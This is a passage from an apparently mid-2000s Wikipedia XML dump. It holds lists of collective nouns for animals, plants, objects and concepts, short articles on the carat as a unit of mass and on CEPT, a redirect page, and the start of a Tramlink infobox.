&lt;tr&gt;&lt;td&gt; '''[[ant]]s''' &lt;/td&gt;&lt;td&gt;An army of ants&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[bacteria]]''' &lt;/td&gt;&lt;td&gt;A culture of bacteria&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[bass (fish)|bass]]''' &lt;/td&gt;&lt;td&gt;A shoal of bass&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[bean]]s''' &lt;/td&gt;&lt;td&gt;A hill of beans&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[bee]]s''' &lt;/td&gt;&lt;td&gt;A grist of bees&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[bee]]s''' &lt;/td&gt;&lt;td&gt;A hive of bees&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[bee]]s''' &lt;/td&gt;&lt;td&gt;A swarm of bees&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[blackfish]]''' &lt;/td&gt;&lt;td&gt;A grind of blackfish&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[butterfly|butterflies]]''' &lt;/td&gt;&lt;td&gt;A kaleidoscope of butterflies&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[butterfly|butterflies]]''' &lt;/td&gt;&lt;td&gt;A rabble of butterflies&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[butterfly|butterflies]]''' &lt;/td&gt;&lt;td&gt;A rainbow of butterflies&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[caterpillar]]s''' &lt;/td&gt;&lt;td&gt;An army of caterpillars&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[clam]]s''' &lt;/td&gt;&lt;td&gt;A bed of clams&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[cockroach|cockroaches]]''' &lt;/td&gt;&lt;td&gt;An intrusion of cockroaches&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[cod]]''' &lt;/td&gt;&lt;td&gt;A lap of cod&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[eel]]s''' &lt;/td&gt;&lt;td&gt;A fry of eels&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[eel]]s''' &lt;/td&gt;&lt;td&gt;A swarm of eels&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[fig]]s''' &lt;/td&gt;&lt;td&gt;A newton of figs&lt;/td&gt;&lt;td&gt; Spurious &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[fish]]''' &lt;/td&gt;&lt;td&gt;A draught of fish&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[fish]]''' &lt;/td&gt;&lt;td&gt;A drift of fish&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[fish]]''' &lt;/td&gt;&lt;td&gt;A scale of fish&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[fish]]''' &lt;/td&gt;&lt;td&gt;A school of fish&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[fish]]''' &lt;/td&gt;&lt;td&gt;A shoal of fish&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[flower]]s''' &lt;/td&gt;&lt;td&gt;A bouquet of flowers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[flower]]s''' &lt;/td&gt;&lt;td&gt;A patch of flowers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[fly|flies]]''' &lt;/td&gt;&lt;td&gt;A business of flies&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[fly|flies]]''' &lt;/td&gt;&lt;td&gt;A swarm of flies&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[gnat]]s''' &lt;/td&gt;&lt;td&gt;A cloud of gnats&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[gnat]]s''' &lt;/td&gt;&lt;td&gt;A clout of gnats&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[gnat]]s''' &lt;/td&gt;&lt;td&gt;A horde of gnats&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[grape]]s''' &lt;/td&gt;&lt;td&gt;A bunch of grapes&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[grasshopper]]s''' &lt;/td&gt;&lt;td&gt;A cloud of grasshoppers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[grasshopper]]s''' &lt;/td&gt;&lt;td&gt;A cluster of grasshoppers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[herring]]s''' &lt;/td&gt;&lt;td&gt;A glean of herrings&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[jellyfish]]''' &lt;/td&gt;&lt;td&gt;A fluther of jellyfish&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[jellyfish]]''' &lt;/td&gt;&lt;td&gt;A smack of jellyfish&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[locust]]s''' &lt;/td&gt;&lt;td&gt;A plague of locusts&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[midge]]s''' &lt;/td&gt;&lt;td&gt;A bite of midges&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[mite]]s''' &lt;/td&gt;&lt;td&gt;A mite of mites&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[mosquito|mosquitoes]]''' &lt;/td&gt;&lt;td&gt;A scourge of mosquitoes&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[oyster]]s''' &lt;/td&gt;&lt;td&gt;A bed of oysters&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[salmon]]''' &lt;/td&gt;&lt;td&gt;A bind of salmon&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[salmon]]''' &lt;/td&gt;&lt;td&gt;A run of salmon&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[shark]]''' &lt;/td&gt;&lt;td&gt;A shiver of sharks&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[shrimp]]''' &lt;/td&gt;&lt;td&gt;A troup of shrimp&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[snail]]''' &lt;/td&gt;&lt;td&gt;A rout of snails&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[spider (animal)|spiders]]''' &lt;/td&gt;&lt;td&gt;A cluster of spiders&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[spider (animal)|spiders]]''' &lt;/td&gt;&lt;td&gt;A clutter of spiders&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[tree]]s''' &lt;/td&gt;&lt;td&gt;A grove of trees&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[tree]]s''' &lt;/td&gt;&lt;td&gt;A copse of trees&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[tree]]s''' &lt;/td&gt;&lt;td&gt;A stand of trees&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[tree]]s''' &lt;/td&gt;&lt;td&gt;A thicket of trees&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[trout]]''' &lt;/td&gt;&lt;td&gt;A hover of trout&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[worm]]s''' &lt;/td&gt;&lt;td&gt;A clew of worms&lt;/td&gt;&lt;td&gt; Uncertain &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

[[Category:Lists of collective nouns|Fish, invertebrates, and plants]]</text>
    </revision>
  </page>
  <page>
    <title>List of collective nouns for objects and concepts</title>
    <id>7156</id>
    <revision>
      <id>32213218</id>
      <timestamp>2005-12-21T07:55:59Z</timestamp>
      <contributor>
        <ip>71.112.130.21</ip>
      </contributor>
      <text xml:space="preserve">Also see [[Collective noun]]

&lt;table border = 0&gt;
&lt;tr&gt;&lt;td&gt; '''SUBJECT''' &lt;/td&gt;&lt;td&gt;'''COLLECTIVE TERM'''&lt;/td&gt;&lt;td&gt; &lt;center&gt;'''STATUS'''&lt;/center&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[aircraft|aircraft]]''' &lt;/td&gt;&lt;td&gt;A wing of aircraft&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[angel|angels]]''' &lt;/td&gt;&lt;td&gt;A chorus of angels&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[angel|angels]]''' &lt;/td&gt;&lt;td&gt;A host of angels&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[arrow|arrows]]''' &lt;/td&gt;&lt;td&gt;A quiver of arrows&lt;/td&gt;&lt;td&gt; &lt;center&gt;complete set&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[asteroid|asteroids]]''' &lt;/td&gt;&lt;td&gt;A belt of asteroids&lt;/td&gt;&lt;td&gt; &lt;center&gt;specific arrangement&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[bird|birds]]''' &lt;/td&gt;&lt;td&gt;A flock of birds&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[book|books]]''' &lt;/td&gt;&lt;td&gt;A library of books&lt;/td&gt;&lt;td&gt; &lt;center&gt;specific arrangement&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[bread|bread]]''' &lt;/td&gt;&lt;td&gt;A batch of bread&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[brush|brush]]''' &lt;/td&gt;&lt;td&gt;A bavin of brush(wood)&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[card|cards]]''' &lt;/td&gt;&lt;td&gt;A deck of cards&lt;/td&gt;&lt;td&gt; &lt;center&gt;complete set&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[cash|cash]]''' &lt;/td&gt;&lt;td&gt;A grip of cash&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[coin|coins]]''' &lt;/td&gt;&lt;td&gt;A roll of coins&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[coin|coins]]''' &lt;/td&gt;&lt;td&gt;A rouleau of coins&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[computer|computers]]''' &lt;/td&gt;&lt;td&gt;A network of computers&lt;/td&gt;&lt;td&gt; &lt;center&gt;specific arrangement&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[data|data]]''' &lt;/td&gt;&lt;td&gt;A donut of data&lt;/td&gt;&lt;td&gt; Spurious &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[chicken|eggs]]''' &lt;/td&gt;&lt;td&gt;A clutch of eggs&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[fairy|fairies]]''' &lt;/td&gt;&lt;td&gt;A herd of fairies&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[flower|flowers]]''' &lt;/td&gt;&lt;td&gt;A bunch of flowers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[god|god]]s''' &lt;/td&gt;&lt;td&gt;A pantheon&lt;/td&gt;&lt;td&gt; &lt;center&gt;complete set&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[homework|homework]]''' &lt;/td&gt;&lt;td&gt;A slew of homework&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[impediment|impediments]]''' &lt;/td&gt;&lt;td&gt;A vagary of impediments&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[information|information]]''' &lt;/td&gt;&lt;td&gt;A wealth of information&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[island|islands]]''' &lt;/td&gt;&lt;td&gt;A chain of islands&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[island|islands]]''' &lt;/td&gt;&lt;td&gt;An archipelago&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[jewel|jewels]]''' &lt;/td&gt;&lt;td&gt;A cache of jewels&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[lock and key|keys]]''' &lt;/td&gt;&lt;td&gt;A ring of keys&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[lorry|lorries]]''' &lt;/td&gt;&lt;td&gt;A convoy of lorries&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[money|money]]''' &lt;/td&gt;&lt;td&gt;A wad of money&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[money|riches]]''' &lt;/td&gt;&lt;td&gt;An embarrassment of riches&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[money|winnings]]''' &lt;/td&gt;&lt;td&gt;A purse of winnings&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[mountain|mountains]]''' &lt;/td&gt;&lt;td&gt;A range/chain of mountains&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[piñata|piñatas]]''' &lt;/td&gt;&lt;td&gt;A plethora of piñatas&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[prose|prose]]''' &lt;/td&gt;&lt;td&gt;An anthology of prose&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[rebuttal|rebuttals]]''' &lt;/td&gt;&lt;td&gt;A quiver of rebuttals&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[robot|robots]]''' &lt;/td&gt;&lt;td&gt;A cog of robots&lt;/td&gt;&lt;td&gt; &lt;center&gt;Spurious&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[satellite|satellites]]''' &lt;/td&gt;&lt;td&gt;A constellation of satellites&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[ship|ships]]''' &lt;/td&gt;&lt;td&gt;A fleet of ships&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[ship|ships]]''' &lt;/td&gt;&lt;td&gt;A flotilla of ships&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[ship|ships]]''' &lt;/td&gt;&lt;td&gt;An armada of ships&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[star|stars]]''' &lt;/td&gt;&lt;td&gt;A galaxy of stars&lt;/td&gt;&lt;td&gt; &lt;center&gt;specific arrangement&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[task|tasks]]''' &lt;/td&gt;&lt;td&gt;An agenda [of tasks]&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[thing|things]]''' &lt;/td&gt;&lt;td&gt;A bunch of things&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[trash|trash]]''' &lt;/td&gt;&lt;td&gt;A heap of trash&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[truck|trucks]]''' &lt;/td&gt;&lt;td&gt;A convoy of trucks&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[unicorn|unicorns]]''' &lt;/td&gt;&lt;td&gt;A blessing of unicorns&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;?&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; '''[[wager|wagers]]''' &lt;/td&gt;&lt;td&gt;A book of wagers&lt;/td&gt;&lt;td&gt; &lt;center&gt;&amp;radic;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

[[Category:Lists of collective nouns|Objects and concepts]]</text>
    </revision>
  </page>
  <page>
    <title>Carat (mass)</title>
    <id>7158</id>
    <revision>
      <id>38515931</id>
      <timestamp>2006-02-06T21:38:08Z</timestamp>
      <contributor>
        <ip>65.32.79.75</ip>
      </contributor>
      <text xml:space="preserve">:''For other uses of the word carat, see [[Carat]].''

The '''carat''' is a unit of [[mass]] used for [[gem]]s, and equals [[1 E-4 kg|200 milligrams]].  The word derives from the [[Greek language|Greek]] ''keration'' (fruit of the [[carob]]), via [[Arabic (language)|Arabic]] and [[Italian (language)|Italian]].  Carob seeds were used as weights on precision scales because of their uniform size.  In the distant past, different countries each had their own carat, roughly equivalent to a [[carob]] seed.  

Eventually, it was linked to the [[grain (measure)|grain]] in the [[Troy pound]] system of measurement. Under this system the standard was about 205 milligrams. Metric countries used this measurement nonetheless in its limited range of application. In 1907 the metric carat of [[1 E-4 kg|200 milligrams]] was adopted, and is now universally used today. 

Note: A carat can also be further divided into &quot;points&quot;. There are 100 points to a carat.

For [[diamond]]s, a [[paragon]] is a diamond weighing 100 carats or more, which is 20,000 milligrams or 20 [[grams]].

The ANSI X.12 EDI standard abbreviation for carat is 'CD'

{{standard-stub}}

[[cs:Karát]]
[[da:Karat]]
[[de:Karat]]
[[eo:Karato]]
[[es:Quilate]]
[[et:Karaat]]
[[fr:Carat]]
[[it:Carato]]
[[hu:Karát]]
[[ja:カラット]]
[[nl:karaat]]
[[pl:Karat]]
[[pt:Quilate]]
[[sq:Karati]]
[[sv:Karat]]
[[vi:Cara]]

[[Category:Units of mass]]</text>
    </revision>
  </page>
  <page>
    <title>European Conference of Postal and Telecommunications Administrations</title>
    <id>7160</id>
    <revision>
      <id>26807398</id>
      <timestamp>2005-10-29T18:08:42Z</timestamp>
      <contributor>
        <username>Edcolins</username>
        <id>51336</id>
      </contributor>
      <comment>/* Member countries */ added the number of countries</comment>
      <text xml:space="preserve">The '''European Conference of Postal and Telecommunications Administrations''' (CEPT) was established on [[June 26]], [[1959]] as a coordinating body for [[Europe]]an state [[telecommunications]] and [[postal organizations]]. The [[acronym]] comes from the [[French language|French]] version of its name ''Conférence européenne des administrations des postes et des télécommunications''.

CEPT was responsible for the creation of the [[ETSI]] in [[1988]].

Current CEPT organizations include 
* European Radiocommunications Committee
* CERP (''Comité européen des régulateurs postaux'')
* European Committee for Regulatory Telecommunications Affairs
* European Telecommunications Office

== Member countries ==
''As of [[August 25]], [[2004]]: 46 countries.''

[[Albania]], [[Andorra]], [[Austria]], [[Azerbaijan]], [[Belarus]], [[Belgium]], [[Bosnia and Herzegovina]], [[Bulgaria]], [[Croatia]], [[Cyprus]], [[Czech Republic]], [[Denmark]], [[Estonia]], [[Finland]], [[France]], [[Germany]], [[Greece]], [[Hungary]], [[Iceland]], [[Ireland]], [[Italy]], [[Latvia]], [[Liechtenstein]], [[Lithuania]], [[Luxembourg]], [[Republic of Macedonia|Macedonia]], [[Malta]], [[Moldova]], [[Monaco]], [[Netherlands]], [[Norway]], [[Poland]], [[Portugal]], [[Romania]], [[Russian Federation]], [[San Marino]], [[Serbia and Montenegro]], [[Slovakia]], [[Slovenia]], [[Spain]], [[Sweden]], [[Switzerland]], [[Turkey]], [[Ukraine]], [[United Kingdom]], and [[Vatican City]].

==See also==
* [[CEPT1]] standard
* [[International Telecommunication Union]]
* [[Universal Postal Union]]

==External links==
*[http://www.cept.org/ Official web site]

[[de:Conférence Européenne des Administrations des Postes et des Télécommunications]]
[[es:CEPT]]
[[fr:Conférence européenne des administrations des postes et télécommunications]]</text>
    </revision>
  </page>
  <page>
    <title>Chain termination method</title>
    <id>7161</id>
    <revision>
      <id>34701493</id>
      <timestamp>2006-01-11T02:49:38Z</timestamp>
      <contributor>
        <username>Petaholmes</username>
        <id>59986</id>
      </contributor>
      <comment>merge and redirect to new sequencing article</comment>
      <text xml:space="preserve">#REDIRECT [[DNA sequencing]]</text>
    </revision>
  </page>
  <page>
    <title>Tramlink</title>
    <id>7162</id>
    <revision>
      <id>41641921</id>
      <timestamp>2006-02-28T19:06:54Z</timestamp>
      <contributor>
        <ip>80.195.189.27</ip>
      </contributor>
      <comment>Incorrect information, Spelling errors</comment>
      <text xml:space="preserve">{{Infobox TfL line|
Line=Tramlink|
ColourName=Green|
TextColour=White|
YearOpened=2000|
DeepOrSurface=Tramway|
RollingStock=[[Bombardier Transportation|Bombardier]] [[Flexity Swift|CR-4000]]|
StationsServed=38|
LengthKm=28|
LengthMiles=18.5|
AnnualPassengers=18,000,000|
Depots=Therapia Lane|
}}

